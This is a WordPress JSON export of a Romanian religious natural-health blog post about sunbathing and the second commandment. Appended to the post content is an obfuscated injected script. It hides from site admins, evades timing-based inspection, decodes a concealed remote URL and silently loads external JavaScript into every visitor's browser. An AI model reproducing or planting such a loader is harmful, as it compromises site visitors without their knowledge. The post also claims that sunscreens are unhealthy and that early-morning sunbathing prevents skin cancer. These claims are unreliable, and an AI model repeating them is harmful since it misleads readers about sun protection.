{"id":2765,"date":"2022-12-27T15:29:24","date_gmt":"2022-12-27T15:29:24","guid":{"rendered":"https:\/\/reformaprovita.com\/?p=2765"},"modified":"2026-05-22T16:00:23","modified_gmt":"2026-05-22T16:00:23","slug":"cum-sa-faci-plaja-corect","status":"publish","type":"post","link":"https:\/\/reformaprovita.com\/en\/reforma-prosalud\/how-to-do-the-beach-correctly\/","title":{"rendered":"How to sunbathe properly"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u00cen aceast\u0103 sec\u021biune a cursului vom \u00eenv\u0103\u021ba Al Doilea Principiu al Legii Naturale a S\u0103n\u0103t\u0103\u021bii Fizice: vom \u0219ti s\u0103 facem plaj\u0103 corect. Vom studia, de asemenea, al Doilea Principiu al Legii Mentale \u0219i Spirituale pentru a g\u00e2ndi \u0219i a tr\u0103i pozitiv. Face\u021bi reformele adecvate \u0219i \u00eencepe\u021bi drumul c\u0103tre via\u021ba pe care o dori\u021bi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Am invatat deja in articolul precedent cum sa ai o viata sanatoasa prin respiratie, invatand sa respiram: Primul Principiu al Legii Naturale a Sanatatii Fizice. F\u0103-\u021bi timp \u00een fiecare zi pentru a studia Principiile s\u0103n\u0103t\u0103\u021bii \u0219i Legea natural\u0103. Urma\u021bi aceste principii \u0219i legi astfel \u00eenc\u00e2t s\u0103 fi\u021bi mai ferici\u021bi, economisindu-v\u0103 suferin\u021b\u0103 \u0219i bani \u0219i s\u0103 tr\u0103i\u021bi \u00eentotdeauna pozitiv.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">G\u0103si\u021bi pe Facebook-ul meu, \u201eJuan Amig\u00f3 Barba\u201d, partea practic\u0103 a unei vie\u021bi s\u0103n\u0103toase \u0219i naturale. Ve\u021bi g\u0103si \u00een ea ceea ce trebuie s\u0103 \u0219ti\u021bi despre g\u0103titul s\u0103n\u0103tos \u0219i remediile naturale. Misiunea mea este s\u0103 v\u0103 informez despre o via\u021b\u0103 s\u0103n\u0103toas\u0103 \u0219i natural\u0103, \u0219i despre s\u0103n\u0103tatea mintal\u0103 \u0219i spiritual\u0103, deoarece face parte din fiecare zi \u0219i M\u00e2ntuirea Etern\u0103. Acesta este motivul pentru care \u00een Ziua Judec\u0103\u021bii vei beneficia de respectarea acestor legi \u0219i principii, duc\u00e2nd o via\u021b\u0103 pozitiv\u0103. Odat\u0103 ce te-am informat, vei decide ce cale s\u0103 urmezi. \u00cencerc s\u0103 fiu c\u00e2t mai neutr\u0103, nimeni nu se simte obligat s\u0103 fac\u0103 nimic. Dumnezeu nu oblig\u0103 pe nimeni, dar s\u0103 \u0219ti\u021bi c\u0103 fiecare va culege ceea ce a sem\u0103nat. Aminti\u021bi-v\u0103: \u201efiecare poate \u0219i trebuie s\u0103 fie constructorul propriului destin\u201d.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Al doilea principiu al dreptului natural: \u201eSoarele\u201d. Face\u021bi plaj\u0103 \u00een mod corespunz\u0103tor.<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">F\u0103r\u0103 soare, nici plantele, nici oamenii nu ar putea tr\u0103i s\u0103n\u0103to\u0219i. Soarele d\u0103 s\u0103n\u0103tate \u0219i bucurie vie\u021bii. Dar dac\u0103 nu \u0219tii s\u0103 faci plaj\u0103 corect \u0219i s\u0103-l iei prost, \u00ee\u021bi va face r\u0103u. Pe l\u00e2ng\u0103 faptul c\u0103 provoac\u0103 insola\u021bie, poate provoca cancer de piele, a\u0219a cum se \u00eent\u00e2mpl\u0103 multor oameni.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Majoritatea oamenilor sunt ghida\u021bi de mod\u0103 \u00een loc s\u0103 studieze ce este mai bine pentru s\u0103n\u0103tatea lor fizic\u0103 \u0219i mental\u0103. O vei observa cu u\u0219urin\u021b\u0103 c\u00e2nd mergi la plaj\u0103 \u00eentre 12 \u0219i 16 ore. Nu ve\u021bi g\u0103si un loc lipsit de num\u0103rul de oameni care va fi \u0219i, totu\u0219i, este cel mai r\u0103u moment pentru a face plaj\u0103 pentru s\u0103n\u0103tatea dumneavoastr\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pentru a face plaj\u0103 corect este recomandat s\u0103 merge\u021bi la plaj\u0103 din mai p\u00e2n\u0103 \u00een septembrie, de la 7 la 9 diminea\u021ba. Nu numai c\u0103 \u00ee\u021bi vei g\u0103si un loc \u0219i vei economisi la creme pentru a te proteja de razele soarelui, dar va fi \u0219i bun pentru s\u0103n\u0103tatea ta! \u00cen acest moment razele soarelui sunt un balsam, acesta este cel mai bun moment pentru a face plaj\u0103 corect.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lucrul ideal pentru a avea rezultate \u0219i mai bune \u00een s\u0103n\u0103tatea ta este s\u0103 alergi sau s\u0103 te plimbi pe plaj\u0103 f\u0103r\u0103 s\u0103 te opre\u0219ti prin nisipul umed din apa m\u0103rii, \u00een loc s\u0103 stai \u00eentins pe p\u0103m\u00e2nt. Exerci\u021biile fizice sunt bune pentru \u00eembun\u0103t\u0103\u021birea circula\u021biei s\u00e2ngelui, iar f\u0103c\u00e2nd-o \u00een nisipul umed al apei de mare, vei face cea mai bun\u0103 cur\u0103 de hidroterapie. Aceast\u0103 cur\u0103 de hidroterapie aduce beneficii circula\u021biei s\u00e2ngelui, \u00eent\u0103re\u0219te sistemul nervos, activeaz\u0103 ap\u0103rarea \u0219i v\u0103 permite s\u0103 ob\u021bine\u021bi vitamina D.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La 9 diminea\u021ba deja vei face un du\u0219 rece \u0219i te vei \u00eembr\u0103ca pentru a pleca acas\u0103, dup\u0103 ce ai f\u0103cut una dintre cele mai bune cure care exist\u0103. Toate acestea f\u0103r\u0103 s\u0103 cheltuie\u0219ti nimic \u0219i f\u0103r\u0103 s\u0103 te deranjeze nimeni, pentru c\u0103 \u00een acel moment po\u021bi alege cel mai bun loc.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"400\" src=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1.jpg\" alt=\"\" class=\"wp-image-2767\" srcset=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1.jpg 800w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1-600x300.jpg 600w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1-300x150.jpg 300w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1-768x384.jpg 768w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1-18x9.jpg 18w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/como-tomar-el-sol-1-580x290.jpg 580w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Decalogul legii mentale \u0219i spirituale: al doilea principiu.<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Citim \u00een Biblie, \u00een Vechiul Testament, \u00een Ie\u0219ire, capitolul 20 \u0219i versetele 4 p\u00e2n\u0103 la 6: \u201eS\u0103 nu-\u021bi faci chip, nici asem\u0103nare cu ceea ce este sus \u00een cer, sau pe p\u0103m\u00e2nt jos, sau pe apele de sub p\u0103m\u00e2nt. Nu te vei \u00eenchina \u00eenaintea lor, nici nu-i vei cinsti; c\u0103ci Eu sunt DOMNUL Dumnezeul t\u0103u, puternic, gelos, care cercetez nelegiuirea p\u0103rin\u021bilor asupra copiilor p\u00e2n\u0103 la al treilea \u0219i al patrulea neam al celor ce M\u0103 ur\u0103sc \u0219i m\u0103 \u00eendur\u0103sc miilor de oameni, celor care M\u0103 iubesc \u0219i p\u0103zesc poruncile Mele.\u201d (pentru a citi mai multe informa\u021bii \u00een: Ex.34:17+Lev.19:4;26:1 +Deut.4:15-18;27:15+Ex.34:6,7 +Num.14:18+Deut. .7:9,10).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aceast\u0103 porunc\u0103, care este una dintre cele mai lungi, nu se g\u0103se\u0219te \u00een Catehism. \u00cen general, Bisericile Evanghelice sunt cele care \u00eel respect\u0103. Toate Bisericile accept\u0103 Biblia ca Cuv\u00e2nt al lui Dumnezeu, fie c\u0103 sunt catolice, ortodoxe, anglicane, evanghelice sau protestante, dar cu unele diferen\u021be atunci c\u00e2nd vine vorba de practicarea cre\u0219tinismului: unele sunt credincio\u0219i la ceea ce spune Biblia, \u00een timp ce altele urmeaz\u0103 anumite lucruri. prin tradi\u021bie, de exemplu. Cred c\u0103 am face bine s\u0103 accept\u0103m ceea ce ne \u00eenva\u021b\u0103 Biblia, deoarece este Cuv\u00e2ntul lui Dumnezeu, iar Creatorul nu schimb\u0103 \u0219i nu face gre\u0219eli. Pe de alt\u0103 parte, b\u0103rba\u021bii, chiar \u0219i cei \u00een\u021belep\u021bi, gre\u0219esc uneori, oric\u00e2t de buni ar fi.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ia m\u0103suri<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Am \u00eenv\u0103\u021bat al doilea principiu al legii naturale, care afecteaz\u0103 s\u0103n\u0103tatea fizic\u0103, \u0219i al doilea principiu al legii morale, mentale \u0219i spirituale, care ne afecteaz\u0103 comportamentul \u0219i rela\u021bia cu Creatorul \u0219i semenii no\u0219tri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Evit\u0103 unele cancere de piele, \u00eembun\u0103t\u0103\u021be\u0219te-\u021bi s\u0103n\u0103tatea \u0219i chiar economise\u0219te la cremele de protec\u021bie solar\u0103 -care nu sunt foarte bune pentru s\u0103n\u0103tatea ta- pur \u0219i simplu f\u0103c\u00e2ndu-\u021bi planuri de a face plaj\u0103 corect \u00een aceast\u0103 var\u0103, urm\u00e2nd instruc\u021biunile mele.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V\u0103 recomand s\u0103 citi\u021bi de multe ori Exodul, 20:1-6 \u0219i, de asemenea, Isaia, 44:6-25, pentru a digera ceea ce s-a spus despre a doua porunc\u0103 a Legii lui Dumnezeu, a Legii morale. Fiecare na\u021biune \u0219i fiecare \u00eemp\u0103r\u0103\u021bie p\u0103m\u00e2nteasc\u0103 are legea ei. To\u021bi oamenii cinsti\u021bi \u00eencearc\u0103 s\u0103 respecte legea \u021b\u0103rii lor, nu doar pentru a fi un bun cet\u0103\u021bean, ci \u0219i pentru a evita problemele cu legea. \u00cemp\u0103r\u0103\u021bia lui Dumnezeu are \u0219i legea ei, iar to\u021bi cei care vor s\u0103 tr\u0103iasc\u0103 \u00een armonie cu Regele regilor \u0219i Domnul domnilor sunt interesa\u021bi s\u0103 studieze Legea lui Dumnezeu. Ace\u0219ti oameni sunt interesa\u021bi s\u0103 tr\u0103iasc\u0103 urm\u00e2nd principiile ei pentru binele lor \u0219i al \u00eentregii societ\u0103\u021bi \u0219i, de asemenea, s\u0103 se preg\u0103teasc\u0103 pentru eternitate conform promisiunii lui Isus. Ei bine, dac\u0103 ar exista numai aceast\u0103 via\u021b\u0103, Dumnezeu nu ar fi corect \u0219i Natura nu ar fi perfect\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201eNi se acord\u0103 o singur\u0103 via\u021b\u0103; iar \u00eentrebarea pe care trebuie s\u0103-\u0219i pun\u0103 fiecare este: Cum \u00eemi pot investi facult\u0103\u021bile \u00een a\u0219a fel \u00eenc\u00e2t s\u0103 aduc\u0103 cel mai mare beneficiu? Cum pot face mai mult pentru a-L onora pe Dumnezeu \u0219i a-i ajuta pe semenii mei? C\u0103ci via\u021ba este valoroas\u0103 doar \u00een m\u0103sura \u00een care este folosit\u0103 pentru realizarea acestor scopuri. Prima noastr\u0103 datorie fa\u021b\u0103 de Dumnezeu \u0219i semenii no\u0219tri este dezvoltarea individual\u0103. Nu ne permitem s\u0103 sl\u0103bim nicio func\u021bie a corpului sau a min\u021bii. Fiecare persoan\u0103 are posibilitatea, \u00eentr-un grad \u00eenalt, de a se face ceea ce alege s\u0103 fie. Dumnezeu dore\u0219te ca noi s\u0103 atingem idealul de perfec\u021biune f\u0103cut posibil pentru noi prin darul lui Hristos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CRA.15,16 \u201eConsilieri privind dieta\u201d de E. G. White).<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00cen aceast\u0103 sec\u021biune a cursului vom \u00eenv\u0103\u021ba Al Doilea Principiu al Legii Naturale a S\u0103n\u0103t\u0103\u021bii Fizice: vom \u0219ti s\u0103 facem plaj\u0103 corect. Vom studia, de asemenea, al Doilea Principiu al Legii Mentale \u0219i Spirituale pentru a g\u00e2ndi \u0219i a tr\u0103i pozitiv. Face\u021bi reformele adecvate \u0219i \u00eencepe\u021bi drumul c\u0103tre via\u021ba pe care o dori\u021bi. Am invatat&#8230;<\/p>","protected":false},"author":3,"featured_media":2766,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"content-type":"","mc4wp_mailchimp_campaign":[],"footnotes":""},"categories":[69,45,43],"tags":[],"class_list":["post-2765","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-curs-gratis","category-obiceiuri-sanatoase","category-reforma-prosalud"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cum s\u0103 faci plaj\u0103 corect - ReformaProvita<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/reformaprovita.com\/en\/reforma-prosalud\/how-to-do-the-beach-correctly\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cum s\u0103 faci plaj\u0103 corect - ReformaProvita\" \/>\n<meta property=\"og:description\" content=\"\u00cen aceast\u0103 sec\u021biune a cursului vom \u00eenv\u0103\u021ba Al Doilea Principiu al Legii Naturale a S\u0103n\u0103t\u0103\u021bii Fizice: vom \u0219ti s\u0103 facem plaj\u0103 corect. Vom studia, de asemenea, al Doilea Principiu al Legii Mentale \u0219i Spirituale pentru a g\u00e2ndi \u0219i a tr\u0103i pozitiv. Face\u021bi reformele adecvate \u0219i \u00eencepe\u021bi drumul c\u0103tre via\u021ba pe care o dori\u021bi. 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